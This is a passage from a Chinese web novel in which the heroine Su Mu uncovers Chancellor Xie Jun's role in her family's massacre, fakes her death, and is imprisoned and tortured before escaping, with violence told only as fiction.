谢长盛显然没想到眼前人竟还认得谢辞桉,楞了那么一刹便恢复往常,谢辞珣反应过来与自身有关立马回道:“兄长今日在稽查司当值,他一向热衷于公务,今日可能回的晚些,所以眼下不在。” 苏木回以笑容:“谢大人恪尽职守,护着这京中百姓,当真不负稽查司都指挥使一职,苏木佩之。” 谢长盛客气回应:“都是为了百姓,伯沅更是辛苦,现下去了竺蛮该有三个月了吧,夫人与伯沅新婚不久他便行至千里之外,如今……”似是发现自己说的话有了不当之处,立马转圜话语:“夫人若是不嫌弃,日后尽可以到谢府来玩,我那两个妹妹同你相差不了几岁,定当是合得来的。” 苏木含笑点头,她没了和他寒暄客套的兴致,谢长盛还以为苏木想到了伤心事,一时也不好在开口,他示意了身后小厮,立马领着苏木朝府里走去。 苏木张望门厅,府中人很多,前厅多是些男人,而下人领着苏木去的地方则多是些贵妇少女。她被领到一处楼阁之上,那里视野开阔,往下便可观览下方一切。 苏木思衬着找个机会离开此处去找谢相,正往下瞧着府中布局路径,这时一女子笑声吸引了苏木的视线。 苏木看向笑声来源处,那是地下的一处假山,绕过两名女子。一名女子苏木见过,是谢府嫡女叶眷,另一名跟在她身后穿着粉衣笑得娇憨的苏木瞧着竟也觉得有些熟悉,她蹙眉细想,却没个思绪。 或是苏木身旁丫鬟看出她的疑惑,于是开口解释:“夫人,下面那两位前面的是宰相妹妹的女儿,名为叶眷,少时曾和小侯爷一同在家塾上学,才华卓绝,是京中人人可求的贵女,她后面那位是叶姑娘从父家带来的,说是那边的妹妹,也是同她一同长大的,好像叫叶……叶什么来着。” 丫鬟皱着眉头半天没想起来,苏木没什么兴趣,因而也没急着要个答案:“无碍,都是些不相关的人。” 说完这话,小丫鬟有些不高兴的努嘴:“夫人不知,这叶姑娘……爱慕着我们侯爷呢!” 说到了顾长宁,苏木抬眼看她:“你是说,她喜欢郎君?” 小丫鬟一看话头来了,不住说道:“正是如此,我还记得在家塾时,叶眷与周家那个庶女都十分喜欢小侯爷,后来周家落了难,叶姑娘更是凭着关系和小侯爷走的更近了些,只是我们公子似乎对她不感兴趣……也不是对她不感兴趣,我们公子似乎对京中女子都无意。后来小侯爷得了眼疾,渐渐也就疏远了他们起来。说来他们都不及夫人,我还是第一次瞧见小侯爷满心满眼都是他人的模样,公子待夫人那般好,羡煞了我们这些下人。” 苏木面上没有表情,心下却有些觉得好笑。顾长宁哪里有过满心满眼都是她,又哪里待她极好过,不过都是装出来的罢了。 她没解释的必要,只拿起茶杯在唇边润下几口,看着远处有些出神。 过了半晌,她起身朝旁边丫鬟说道:“我去下面随便逛逛,你不必跟着我,晚点我自会过来寻你。” “谢家若是有人来寻,你便道我去如厕了。” 小丫鬟本有些犹豫,但见苏木已然不管她离去了,她也只哈听命,不敢随意离开。 苏木绕过嘈杂众人,回忆着此前给谢辞桉瞧病时所经府中布局,不一会儿就绕过前厅直奔着谢相院中而去。 离宴会开始还有好一会,她可以去和谢相见上一面,至少可以明里暗里探些口风,必要时也可以透露自己的身份。 她手里紧攥着袖中荷包,想起了沈府大难前得一个时辰,她父亲交代给她的话。 她一个人活着终究是累了些,现下完成要事,就算妹妹依旧没寻着,她就这般离去,似乎也对得起地底下的那些人了。 快至午时,日头正烈,苏木穿过一林荫便瞧见了谢府主屋所在。 她眼下欣喜,正要往那个方向而去,却突然听到一隐蔽的谈话声。 声音很是朦胧,似乎离她不远。苏木本不想理会,但昭明侯三个字却如同灵蛇一般钻入她耳朵,让她停住了脚步。 鬼使神差地,苏木往身后假山靠了靠,声音听得也更清楚了。 “大人,公子说今夜不回来了。” 这声音像是一个老年人,声音暗沉嘲喳。 “罢了,他这些年有了稽查司得差使就越发不爱回府,他要是还恼那便恼吧,谁惯的他!他今日不回,我下手也容易些。” 这声音唤回了苏木久远得记忆,就算这段时日在上京来谢家时从未遇上过谢相,但现下,她却是一声便听出了他的声音。 苏木皱着眉,听的有些不明所以。说起稽查司,苏木知道他是提起自己的儿子谢辞桉,但是后半句的下手是什么意思? 苏木明白或许再往下听会听到一些众人不知的谢府秘辛,但苏木却没加避讳。她要找的人刚好在此,她等他们说完再找准时机出去岂不是恰恰好,还省下找人的时间。 算着时间,再过一个时辰老侯爷便会从宫中回来赶至谢府,所以就算此时耽搁一会儿都还来得及。 苏木继续思衬着,那边对话也是依旧。 那老人继续言道:“只是,大人不怕公子知道此事再同你生出嫌隙吗?” 苏木听到谢均冷笑一声:“他和我之间的嫌隙还少吗?这些年他只愿意同他娘亲近,每次瞧着我都没好脸色,他还因着当年我不肯收留沈珏明那事怄气!” 许久没听到过沈珏明这三个字,苏木听到这三个字后脑顶如同什么炸开一般,嗡嗡作响。 “当年那事儿……您也是无奈,公子不懂您的苦心,日后怕是就懂了。” 苏木回忆起当年,当年一箭飞入池中将她射中,那些个贼人听闻府兵来后,这箭尚未被抽走便仓皇逃去,也是因此苏木才有了这唯一的线索。 她不敢相信京兵,她只死死记着当夜父亲将她拉入屋中,小心谨慎,面带皇虑地将一物交给了她:“记住,若是沈家落难,你定要逃去,不要信任何人,就算是京中各司来兵,也万不可被抓了去!” 她不敢冒头,她趁着当时的稽查司侍卫来时便抄着近道远去,她记得谢府和他们家关系甚好,父亲未曾告诫她不可投靠相府,可待她刚至相府被小心安顿好后便听到了谢均的弟弟谢绍劝谏谢均的话。 大概意思是如今沈家大难人人自保,上头查的严,他们谢府要是收留了这么个人来,免不了要被牵扯进来受到影响,况且凶手未落网,要是让谢家子嗣也因此被伤……总之,没那个必要。 她回忆起记忆中谢伯,林氏以及谢辞桉的好来,不愿让人为难,于是留下了一张字条,便悄无声息地直接离去了。 没想到谢辞桉竟然会因此和谢相产生龃龉。思及此,苏木心生了几分对谢辞桉与谢均的愧疚出来。想起自己的计划选在谢府,也是有利用谢府之意思,到时候鹬蚌相争她趁乱逃也方便。谢辞桉是稽查司都指挥使,他后面即使查出来是她,她也早就逃之夭夭了。到那时候那案子也只会成为顾府家案,成不了气候。 她有那么一瞬的犹豫,她应不应该将谢府牵连进来。 可下一瞬,她的愧疚便被后面的话击了个粉碎。 “他懂不懂我不在乎!只是那孽种居然还活着在上京,若不是桉儿身边有我安插的人,他怕是还替她瞒着!” 谢均似乎越说越气,老人一听连忙接话:“不过我们早先一步知晓了又做好了准备,这次保准不会轻放了她去,前几日她潜入我故意给她开的口子的谢府密室,已经确保了那箱中安放着五十只箭镞,虽说那箭镞有一半是九年前伪造,但日头久了都有些生锈,她没看出来。若是她看出来了,今日也不会上谢府来祝贺了,她一步步落入我们网中,现下只怕还在查着当年之事是顾家还是周家,在这之前,也是今日将她灭了口,当年之事,自然也就无人知晓了。” 第80章 苏木的血液如同凝固了一般, 她脸色苍白不止,不敢相信自己所听到的, 可待她还没继续反应,那话便继而如同猛兽般扑向她来。 “那孽障也是狡猾,你一会儿再去前厅瞧瞧,务必要今日留住她,切忌别让她发现端倪,她如今能够嫁入顾府,又在暗地里查这些事情, 想毕也是个不好对付的。之前她还替桉儿母亲瞧病, 也不知这几年所谋何事, 既会武功又会医术, 留下定是后患无穷。” 说到此,老人连忙应声, 轻声脚步离去, 可刚走没两步,谢均又叫住了他。 “还有, 这件事做得小心点, 别让珏乐那姑娘发现了。” “是。” …… 珏乐…… 苏木猛地一睁眼, 瞳孔中填满了震惊、错愕。一瞬间,她踏脚准备上前询问,可下一瞬, 紧攥着衣裙的指节却因用力而发白,那指尖的力气似乎要将指甲压着布料深深嵌入血肉之中。 冷汗密布后背,她一时双腿无力,等着听到假山后再无声音传来时,她才脱力般深呼出一口气, 右手搭在石壁之上,半挽着腰,脸色难看至极。 苏木平复了片刻,半晌才恢复往常姿态。 现下,她尚不清楚谢均所说的珏乐是否就是她一直找的人,她不能莽撞。 但顺着刚才谢均所说之话,她现在所需要更急迫之事,是再进相府密室去检验一次。 若真有端倪,若真有端倪…… 苏木猛地收回手,快步隐于石壁之间,朝那个熟悉的地方而去。 前院人声鼎沸,嬉笑开怀声罗网密布,锣鼓喧哗,正值佳时。 这个时辰,林氏正处前厅之中,带着身后叶眷谢长盛等子女和众府来贺者交谈就宴。 林氏已绕过五桌,正面色红润挂着笑往左侧而来。靠着溪边圆桌之侧立着一粉色纱裙的小丫头面露难色。见林氏来,她立马开口:“奴婢见过夫人,祝夫人生辰快乐,岁岁皆安。” 一般这种祝福都该是主人家的话,没曾想对上的是个小丫鬟,但人说话机灵中听,林氏也不是个爱折腾人的,随即收下这祝福,顺着小丫头四周看去:“多谢了,不过你是哪家的丫头,怎么没见你主人家?” 小丫头在此处等了快有半个时辰也不见自家夫人过来,本就有些慌张,只是想起自家夫人叮嘱的,于是没贸然前去寻她,但眼瞧着宴席已开,自家夫人没到场实在不合礼数,因此也是打算贺一声林氏的寿辰便前去寻人。 小丫头回礼道:“奴婢是宣德候府上的,今日是随我家夫人前来的,夫人今早食坏了东西,刚才走不久,奴婢现下正打算去寻。” 林氏嘴边笑意不减,她知道宣德候夫人早已逝去,所以这位小丫头现在所提及的,必定是前不久圣上赐下的那桩小侯爷的婚事。 她曾听闻过这位新婚的侯夫人虽是妾,但昭明侯对其很是宠爱,对外皆称为“夫人”。她今日倒还挺想要见见这位女子,于是她笑道:“快去寻吧。” 说罢她指了指身侧之人:“南移,你带这丫头去寻,这府有些晕绕,别教夫人迷了路。” 南移应着声,带着小丫头往后面而去。 林氏偏头瞧着身后面色不太好的叶眷,轻握了她的手,以表抚慰。 谁不知叶眷心慕昭明侯,但昭明侯对那位那般喜爱,叶眷若是还有些别样的想法,倒有些小家气。 恰今日宴会来者上京好儿郎众多,她也有意让叶眷与珏乐多接触,于是带着身后之人,又往他处去。 前厅依旧喜闹一片。舞姬旋着七彩罗裙,阶下乐师鼓瑟吹笙,丝竹声混杂着宾客高声笑谈,酒盏碰撞清脆作响,交织热闹华象。 与此同时,行于后院竹林之人如同被夺舍一般,行尸走肉般艰难的挪动步伐。 仔细瞧过去,女子脸颊上血迹斑斑,如同血梅朵朵,点迹践落,从脸颊中央横洒至脖间衣襟。顺势往下瞧去,衣袖处,手腕手指间皆被腥红所染。 八月的时节应是酷暑难耐,可立于竹影下的那人的指节却轻颤不止,由内而外的散发着寒气。 此处竹林位于后院偏角,离谢均院子很近,却离前厅有些距离,平日来者甚少,所以一眼望过去,除了女子一时再无他人。 寂静之下,她轰动一声半跪于地,尖刀撑地,仔细瞧着刀剑血迹与手上痕迹。 许是谢均怕她再潜入密室,因此密室守备比之前她去时更加严密。自然这也在无形之中告诉了她谢均之前所说之话是真的。 她之前能如此便捷潜入相府密室,是他们故意开的口子。 虽难,但她还是找到了机会潜入进去,只是她小瞧了谢均,也因为大意踩中了室内机关,横箭四飞时便惊动了外面守卫。 苏木来不及想清策略,但她恍然间明白了,谢均是在守株待兔。 他是故意的。 来者共有五人,个个眼神犀利动作麻利。可苏木也不是吃素的,之前落于顾长宁手也好,几次三番受伤也罢全是有缘由在身,但现在她功力恢复,蛊也未发作。 谁拦,她杀谁。 除了出任务,她甚少会随意取走他人性命,即使是眼前这些对她下死手的人。 她手下留情,只攻其要害,使他们无法在倒地后随即便能起身与她相搏。五人倒地后,她再次顺着之前的迹象,找到了箭镞所放之处。 印证了谢均所说之话,她之前未仔细查验,等她将箭镞全数从箱中踢翻时,仔细观验时,瞧见了端倪之处。 这些个箭镞材质皆为实铁,按理说放置十年之久,就算未见水也会生锈,但下面的箭镞生锈的比上面的更加厉害,有些锈迹脱落化为齑粉,沉淀在木箱底部。 反观上面掩盖着的箭镞,虽也锈迹斑斑,但抹开锈斑却比下面的更加轻易。 她蹙眉反复观验,不敢轻易下定论时,却忽而发现了一只箭镞上面的裂缝。 苏木仔细挫开锈迹瘢痕,摸到了一处不平整的地方,那个地方凸出铁痕,明显是烧制的镶嵌之术。 可之中镶嵌,无论是在周家还是在顾家的那间地下书房里,她都没有见过。 她十分清楚,因为她脖间的那枚箭镞光滑平整,除了一齿三纹,没有别的痕迹。 苏木从最下拿出一枚锈的厉害的箭镞,又反复拿起上面其它箭镞挫开锈迹。 顿时,云开月明,一切明了了。 攥着箭镞的纹路划破掌心,那捏紧的指节仿佛是将那人桎梏掌中,想要用力捏碎。 他们安敢!岂敢! 谢均!竟敢忍心如此诓骗沈家,如此害沈家! 记忆中慈祥的面孔扭曲不断,在嘶哑声声中化为一滩血水,最终又扭曲狰狞,如同恶鬼般向她扑来。 对方援兵再到时,苏木已经完全失去了理智,她看着那些如同看待猎物一般的眼神,她仿佛又回到了九年前的晚上。 眼前众人,是不是哪一个参与了九年前的屠杀,是不是曾毫不手软的刀刀挥下,无视他们的求饶,他们的痛苦。 冷漠、残酷、冰冷、血腥…… 炙热鲜血喷涌弥补,苏木杀红了眼,血丝纵横狰布,她踏着倒下众人的尸体,如同从地狱杀回的恶鬼,要向那人索命去。 她要杀了谢均,要杀了他,杀了谢府之人,杀光他们为沈家报仇! 竹林之下,簌簌竹叶拍打交错,发出沙沙之声,这声音唤回她的半分理智,却让她忽然抬不动脚。 半跪下地,血腥面颊上湿泪密布,一注又一注,让她掩面而泣,声声滴血。 模糊之中仿佛有光晕重叠,短时让她回到了七岁那年。 七岁那年她落水生了场大病,恰逢上元佳节。珏乐闹着要去看灯会,爹娘劝她好好养病,没带爱热闹的她。 那个时候,谢均携着谢辞桉而来,搬来了许多花灯、无骨灯还有少见的宫灯。 她孱弱地披着大氅坐在廊下,瞧见谢均与谢辞桉糊着米糊沾灯,一个个挂满寂寥院落之中。 谢辞桉给她拿来了一个做好的孔明灯,不满地说:“今日我本要同好兄弟去街上观灯会的,爹爹非要我过来陪你,还说你生病了情绪一定不佳,放个孔明灯,祝你早日恢复吧!” 于是,两个小人包着一个慈祥儒雅的大人儿,一起在院落放了三座孔明灯。 她比谢辞桉矮,于是大人儿将小小的她抱在怀里,给她指了指天上的灯说:“伯伯在上面写了很多话,最主要的,是想要让咱们桉儿和明儿都要平安顺遂,至此百毒不侵。” 小小人儿哭的一抽一抽的,宽大的手掌捏了捏她的小脸:“明儿不哭,下次上元,谢伯伯带你去外面。” 下次上元……带你去上元…… 八岁那年上元前夕,她带着期待与欣喜在家中等着。她还记得上个上元节,她把那个美好的夜晚存放记忆之中,可以时时拿出来回味。 可下一个上元等来的,却是她这辈子都不会忘记的,却也是最想忘记的夜晚。 上京灯火通明,喜闹熙攘;沈府却陷入恐慌、黑暗…… 苏木的面目深陷双掌之中,湿热泪水顺指缝流出,砸落破碎一地,四周似陷入无边寂静与黑暗。 却在此时,耳边传来一熟悉声音。 “这位姐姐留步!” 声音似乎很急。 “怎么了?” 苏木一滞,居然是今早陪同自己来谢府的小丫头的声音。 “姐姐留步,姐姐是宣德侯府的人吧?” 小丫头:“是。” 苏木侧耳抬头,看不见人,人声是从院墙后面传来的。 “宣德候府派人来寻你家夫人,说是有要事。” 小丫头语气慌了许多:“啊……?可,可夫人此刻不在,我正要去寻。” 那人:“我瞧侯府通传来人很是着急,怕是有急事,你现在快快去才是,若是有什么急事,你再传达给你家夫人不是,莫让人等急了。” 苏木听到了之前总在医馆帮忙的小丫头南移的声音:“你先去,我比你知道路,我帮你去寻,寻到了立马随夫人来。” 小丫头无奈答应,随即仓促着步子去了。 刚才苏木理智只回归半分,那现在便是十分。 她必须要立马回侯府! 她抬眼观日,发现时辰刚好对的上。眼下老侯爷肯定归府了,那她布下的东西若是…… 苏木攸地紧张了起来,她必须要更快赶到侯府才是。 她误会了顾长宁,误会了老侯爷,误……下了药…… 苏木忘记自己身上血迹,随即就要运功飞檐而径。 轻点竹叶而起时,耳边传来急速风声。她闪身而过,不得已落地。 身后传来熟悉声音。 “现在,是该叫你沈大夫,还是苏木。” “又或者,是沈珏明……”- 小丫头匆匆赶到谢府门口,一眼便瞧见了冷脸等着的凌风。 瞧见只来她一人,凌风顿时蹙眉,往前多行了半步。 “夫人呢?” 小丫头哪想过来者是凌风,要知道是他说有要事,她肯定先找着夫人才来。 于是她哆哆嗦嗦:“夫人……在,在后院,马上便来。” 凌风一听更恼火了,他揉了揉尚有些发疼地脑袋,越过小丫头径直往里去。 他有一种不详地预感。 先不说从不懒床的他一觉睡醒已到午时,醒来后头疼欲裂。但是老侯爷从宫中回来后便呕吐不止,他以为是宫中有人下毒,虽一时无法查,但也立马封锁侯府查验。 大夫说此毒甚毒需再多观察才好下手,他想起之前顾长宁中毒之事,又想起苏木会医术,立马派人前去明净医馆请祝余后又策马来到了相府。 看到苏木不在眼前,他心中不安更甚。 绕过影壁,凌风无视前来询问的众人就要往里冲,一时便被不解的众人给拦住了。 众人七嘴八舌,凌风抽剑怒吼:“我要去寻人!谁敢拦!” 顿时,本是热闹交谈的,拦人询问的,刚从后院而来的人,通通闭了嘴。 凌风居高临下地扫了厅中众人,又要往里踏去。 身后小丫头跟上来了,小声提醒凌风:“大人,夫人……在后院如厕……你不方便,还是我去吧。” 凌风脚步顿住,他脸上阴晴不定。 最终还是不安战胜了他,他不顾小丫头提醒,依旧往里去。 那些下人不敢拦,又不敢不拦,一步一退,有些僵持不下。 林氏听见声音后看去,她识得此人,之前相府办家塾时,眼前男子和另一个男子就伴在昭明侯左右。 她虽疑惑此人今日行径,却依旧迎着笑脸而上,只是刚走半步,旁侧突然跑来一小厮靠近在她耳旁说话。那笑容便这样戛然而止了。 接着,不知道哪个角落有人大叫:“大家看那是什么!” “什么是什么?” “你看见了吗?” 众人嘟囔疑惑,顺着角落男子所指方向望去。 西南屋檐处映着碧蓝天空,偶有一两只鸟飞过,停在檐角碧绿树枝之上。 晃眼看去,什么都没有。 仔细看,茂密翠绿之间瞬时冲上一缕庞大黑烟,随即黑烟越来越浓烈,遍布笼罩整个西南方向。 有人还在犹疑:“那……是烟吗?” 廊下传来急促奔跑声,有人紧张高喊,扯着嗓子:“不好了不好啦!走水了!茅房走水啦!”! 凌风心一惊,不再顾忌众人,直接飞上屋檐。 西南处火光弥漫冲天,火舌吞噬西南一隐秘之处的屋顶上空,火红火光笼罩整个屋顶,被大火吞噬席卷的屋顶有瓦片砸落,屋脊梁柱正在迅速坍塌。 许多处化为灰烬,随风扬起黑灰齑粉。 80-90 第81章 昭明侯那位新娶的夫人死了。 最近发生的事。 听说啊, 前几日丞相府发了火灾,那位年轻的夫人啊正在后院如厕, 等火被人发现时,火势已呈现漫天之势,侯府的一个小大人进去寻人,人都焦黑如炭了。 既是焦黑如炭,那是如何分辨此人就是那昭明侯的人? 有人说,那小大人将人捞出来的时候啊,小大人瞧见了那夫人的玉佩, 听人说那玉佩几乎是那妇人不离之物, 很是珍爱, 再加上伴随的小丫鬟也是一眼就瞧出了那烧毁的衣料花纹头饰发饰……总之, 人就这么没了。 幸得当时前厅开宴,去后面的人少, 所以死者也就那倒霉的一人。 这件事在上京坊间那是无人知晓。有人叹红颜薄命, 也有人哀侯府气运,但这事在众人心中没留下多少印记, 没多久关于这件事的传论便慢慢匿迹。 可侯府众人却不然。 诺大的宣德候府本就是空府闲庭, 如今老侯爷一病不起, 新夫人新丧刚过,南边也依旧没传来小侯爷的半点消息。 比起叹新夫人的命运,大多数人都暗自揣测, 这宣德候府……怕是不行了。 于是有人巧巧偷银逃匿,有人另寻高枝,有人告老还乡。 没有人强留他们,这是老侯爷的命令,若是谁想走便走, 侯府未曾亏待过他们,也不拦人去路。 于是本就寂寥的侯府,此刻更显孤落。 新夫人虽为妾,但因为是圣上赐婚加上昭明侯一直以正妻之礼相待,于是丧事也算大办,上京有头有脸的人物也尽来吊唁。短暂热闹过一阵子,头七过了,侯府回归平静。 夜色如墨,泼洒在侯府朱红的廊柱与檐角之上,主院灯火通明,庭中却无丫头小厮行径,唯有廊下银铃作响,却偏生出几分孤寂。 廊下凌风扶额靠壁,不见神色却嗓音疲惫:“公子的消息有了吗?” 注意一看,他对面立着一人,看着应当是手下,只见他抱拳回答:“还没有,另外……京中的确没有……夫人的踪迹。” 这手下不明白人都死了还为何要查那已死之人,但上面有命令,他也不得不受令办事。 侯府在上京及各处有自身的情报网,一般要是想要在上京查人行踪那必定是查得到的,但若是真是一点痕迹也无,那便是真的……没了。 凌风良久未回应,廊下银铃作响,他顺势望去,透过摇曳铃铛瞧见了庭中高耸茂盛的海棠树。 他眸色很深,压着些情绪:“药呢,带回来了吗?” 手下:“带回来了,已经交给后面的人了。” 老侯爷中的毒很烈,那日几乎晚半个时辰就要毙命,幸得祝余掏出一枚避毒丸,救了老侯爷的命。 但余毒未清,人依旧躺着,情况不太好,需要良药日日温养,不能有半分偏差。 手下已悄然退下,凌风站在原来的位置任风卷衣,他回想那日情况,回想起那藏在海棠树土壤下的残余毒药,不知道自己该不该顺势想下去。 但,哪有那么巧的事。 而且主屋里的那一瓶让人昏迷之药又是怎么回事。 死无对证,府中之人皆一一排查过,并没有可疑之人行可疑之事。 凌风眸光悠长深远,他看着海棠,一直在廊下站了很久- 腐臭的潮气裹着霉味钻进鼻腔,水牢侧面壁缝里携夹着一丝暖光投了进来,勉强能瞧见四方水牢中央那衣服之下的浑浊污水泛着黑绿。 石壁之上有两处铁链反扣在血肉模糊的手腕之上,仔细瞧着那手腕皮肉被磨得向外翻卷,渗出得血珠随强行打直吊起的手臂蜿蜒至衣襟口,落入到胸前那条条鞭痕之上。 女子眯眼轻笑,露出轻蔑地一抹笑,笑得恣意疯狂,无所畏惧。 她呸出一口血水,血唾沫飞至牢中对面站着的人。 那人往后退了半步,没有生气。 “明儿,听我的,你想死伯伯可以成全你,但你想想你妹妹不是,你把东西交给我,我立马放你走。” 谢均身着黑服,轻拂胡须,面色平静。 苏木笑出了声,她觉得十分地恶心。 这个人,这个眼前衣冠禽兽的卑鄙小人,竟有脸唤她明儿! 竟敢拿妹妹威胁她! 可那又怎样,她不说出东西在哪,就算他威胁,他也不敢杀了她。 “我呸!你是什么东西?!” 她怒哼一声,随即又生出邪魅,嘴角牵起笑:“不过,你要是想知道也不是不可以。你过来,靠近点,我跟你说。” 谢均犹豫,但依旧上前。 他沿着水牢里的踏步水柱而走,在离她不到一步的距离停了下来。 苏木冷笑从鼻尖哼出:“怎么,丞相大人有脸找我要东西,没脸再靠近一点,你离我这么远,怕我杀了你?” 被小小女子猜中心思,谢均平静的脸上划过一丝赧色,他有一刻的没动,随即弯腰俯身。 苏木也微微弯腰,手腕上的铁链因拉扯而发出刺耳声响。 “啊——” 谢均猛捂脖往后撤开几步,伸手甩给了吊在石壁之上的人脆生生的一耳光。 本就嘴角渗血的人脸颊迅速浮肿,随即血迹往下滴着,一注一注。 她好像不怕痛,只恨刚才没能一举咬穿他的脖颈,让他丧命于此。 谢均看她笑得张狂模样,像是没解气一般,抬脚又猛踹她肚上,随即拂袖退出水中。 这一脚不轻,她被笑着的唾液呛住了喉咙,腹下也传来剧痛,苏木的表情有些难看,狼狈之极的同时甚至于狰狞。 瞧她这个模样,谢均好受些了,他捂住脖子,瞧见指缝血迹便知他伤口不浅。 他笑道:“你倒还有些力气,但我劝你还是省点力气,毕竟你在这水牢的日子还长着呢,我有功夫慢慢折磨你。” 他笑得很是和煦:“放心,外头的人、侯府的人都以为你死了,你倒是给自己没留下什么后顾之忧,都不用我费心处理,作为一个阶下囚这点你还是做的很好的。” “至于东西究竟在哪,你想耗我便陪着你耗。” 他离开的很快,水牢静了下来。 苏木挺直的背脊瞬间耷拉下来,她垂丧着头,再没有半分力气。 就这么耗着。 也是,是她自作自受了。 没调查清楚状况,被仇恨蒙蔽住了双眼是她、给老侯爷下药的是她、给茅房放火安置替身的也是她。 她是已死之人,这个身份,是她为自己铺好的离开上京的路。 而这却在此刻,成了她的困局。 她垂眼苦笑,觉得自己一塌糊涂。那笑声从喉间哼哼而出,逐渐变大逐渐癫狂逐渐无声。 幸好,幸好她给老侯爷的药只是让他沉睡不起的,伤不了人性命。她本来是打算以老侯爷的命要挟顾长宁解蛊,然后再匿名于上京,将一切翻开,调查清楚。 哪成想,出了这样的变故。 她想要在临走前试探的盟军,一下子变成了自己的敌人,而且是要命的那种。是自己大意。 只是她没想到,南移这个不起眼的小丫头,竟然是丞相安插在谢辞桉身边的人。 拦她,骗她,她还偏偏蠢到相信了她的话。 等察觉不对时,人已经在此处了。 顾长宁说的没错,她的确蠢,干不了杀手这一行。 如果谢均真的把珏乐抓来当面要挟她,她是不是真的会将东西交给他。 她不知道。 疲惫与侵染骨髓的疼痛让苏木没有理智再继续想下去,她便这样昏了过去。 又过不知几日,谢均不知疲倦与她对峙,灌药也好,烙铁也好鞭刑也罢,什么夹棍、湿面、针刑无所不用其极。但她依旧没说。 后来谢均似是越发暴躁了,开始攻心:“你知道的,你幼时我待你不薄,若你松嘴,我保你不死,至于珏乐我如今是将她当作真女儿看待的,若你好好按我来,你妹妹依旧养尊处优。” 苏木没动。 “明儿,你不明白,你们沈家总得留个后不是,你若是不应,明日我剁她一根手指,你看着也难受不是。” “或者你与珏乐十年未见,你见见她尸体……我也勉为其难让你见上一见。” “对了,王员外今日府上死了一个小妾,正寻新的呢,你说我把你妹妹……” …… 苏木干裂的唇角扭曲了起来,她猩红着眼看他:“谢均!你敢!” 谢均:“我敢?我自然是敢的。你也是给人做过妾的,虽然你运气好点,但你妹妹就不一定了,那个王员外好像四十好几了吧……” “所以你最好识相一点,你妹妹的生死,都在你一念之间。” 苏木不再那么冷静,她一字一顿:“谢均,你畜生!畜生!” 终于见到女子一丝不同往常的慌乱,谢均笑得很得意,他不甚在意般看了看外面微暗的光:“现在离明日不远了,你慢慢想。” 说罢,他扬袖再次离开了。 苏木很慌,很乱,很崩溃。 她是没真的见过、也不敢确信珏乐是否真的如同谢均所说在谢府,但既然谢均这么说,南移这么说,她不得不去怀疑。 她要让珏乐死吗? 她是她的亲妹妹。 ……明儿,你不明白,你们沈家总得留个后不是 ……你们沈家总得留个后不是…… …… 她不能轻信任何人的话。 苏木激烈犹豫的眸光逐渐黯淡了下来。 她等。 然而后面几日,谢均再没来过。 她的伤口自行结痂,有的溃烂地不成样子也有人来给她上药。渐渐,她状态竟恢复了许多。 或是谢均想要慢慢折磨她,又或者是真的怕她死了不知东西在何处。总之,她死不了的同时,这几日也无人再日复一日地审讯她。 恢复之时她也在思索着如何从此处逃出去。之前她刚被抓进来就被不断用刑,没有机会寻找逃脱出口,如今谢均不来,她也在慢慢恢复,不找机会走,等死吗。 她曾在送那些糟蹋饭的狱卒身上瞧见过一大把的钥匙。她想,她手腕上的铁索钥匙必定也在那其中。 她的腿未被固定,只是被吊的高。半身淹在牢中,审讯时吊起来方便行刑,不审讯时又会将她沉下去。 她的一只腿骨虽然断了,脚下也乌青浮肿,伤口处亦有溃烂,但若能近身狱卒,还是有办法拿到钥匙的。 比如现在,她撒谎借机让狱卒靠近,脚下借力扼住了人脖子,只需稍稍用力,人就能毙命。 “救……” 命字未开口,狱卒感受到脖子咔擦往左扭了半分,他呼吸都有些困难,这个命就这么被卡在喉咙。 “别出声,你给我开锁,你不死。” 狱卒不信她鬼话,她要是松开他让他取锁,那他瞬间就能跳出水槽大声喊援兵,还怕死不死?扯淡。 苏木自然知道他心中所想,于是大腿骨和另一只腿的脚腕力道多使出了几分:“你在想什么我很清楚,你大可以试试看。” 狱卒假装求饶:“没没……呃啊……没,我给你,给你开。” 苏木将人按在水槽下跪着,居高临下地睨看着人:“快给我开!” 苏木很怕谢均再次返回,毕竟他很久没来了,留给她的机会不多。 “是,是……” 苏木慢慢松开了腿,狱卒哆嗦着往她身后铁索摸索去。 狱卒见机要跑,苏木腹部用力,她虽难受至极却还是一瞬将人又扼制住。 她的声音极冷也极寒:“你要是想用你的命赌一赌,你大可以试一试。” 狱卒害怕地躲避视线,又想了想这个水牢的位置离其它牢房的距离,一下有些认命了。 这个水牢不同于其它牢房,它处于府中地牢的最里面,平时这里没什么人,除了他这个送饭的就是转弯处有两个守卫,但这水牢石壁贼厚,他要是开口,还没被人听见就自己嘎巴死了。 行吧,他开。 苏木如鹰一般警惕他的动作,终于在一只手腕失去桎梏后猛地劈在了人后脑勺。 人晕过去,她将人捞住,将钥匙自己拿在手里,忍着肩膀上锥心的痛意,将另一只手也抽离了出来。 她大口喘着气,失去了固定点,断了的右腿“哐当”一声扎进水里。 苏木调整着呼吸,慢慢将那条垂败的右腿调整过来。 试了试,还能瘸着走一段。 至少现在手能动,抽刀杀人应该不难。 想到这里,她眼底冷意更甚,缓缓抽出了狱卒身侧佩剑。 她没有多余时间磨蹭。 身后忽然传来了窸窣脚步声。 苏木头皮有些发麻。 他妈的,来的真是时候。 她还没来得及转身看清来人,但已知来人是谁。 “好啊,你来的巧。” “今日便是你的死期。” 她拧动这僵硬地脖颈,许久未活动的、带着伤地手紧攥住长刀,表情狰狞地、狂躁的、恣意地携带着布满血红的猎眼,转过身来。 牢里只有暗淡壁灯哆嗦着照灯,昏暗模糊。 痛觉席卷全身,苏木有一瞬的失焦,但她不能表现出来,她死咬着下嘴唇,慢慢清醒过来。 她看清了来人面目后,眼底划过惊诧,有些难以置信地、讶异地微张着唇。 最先看到的,是那一袭在记忆深处久不再见的白衣。 绝世独立,清冷自处。和这暗牢并不相衬。 她见过此人面色温润、见过他如阎罗审讯的恶劣面孔、见过他言笑晏晏,温润君子模样。 却没见过如此的模样。 谢辞桉青白的脸上在血腥黑暗的牢笼里格外清晰。 眼神悲恸,嘴唇蠕动,眼底泪光汕动,滚烫的泪在眼皮一动不动的情况下入泉涌出,几乎浸透了整张脸。 他目光像磁石一般落在他身上,又在触及那疏离漠然的目光时瑟缩,只余指尖轻颤,连握拳的力气似乎都没了。 认出她后的惊喜,没有及时相认带她离开的悔恨,知晓真相的痛苦以及瞧见她此刻满身伤痕的心痛交织在谢辞桉心头,教他说不出一个字。 是愧疚吗,还是悔恨。 她分辨不出。 苏木同样哑口。说实话,她没想能碰到谢辞桉,也没想到谢辞桉会在她面前有这副模样。 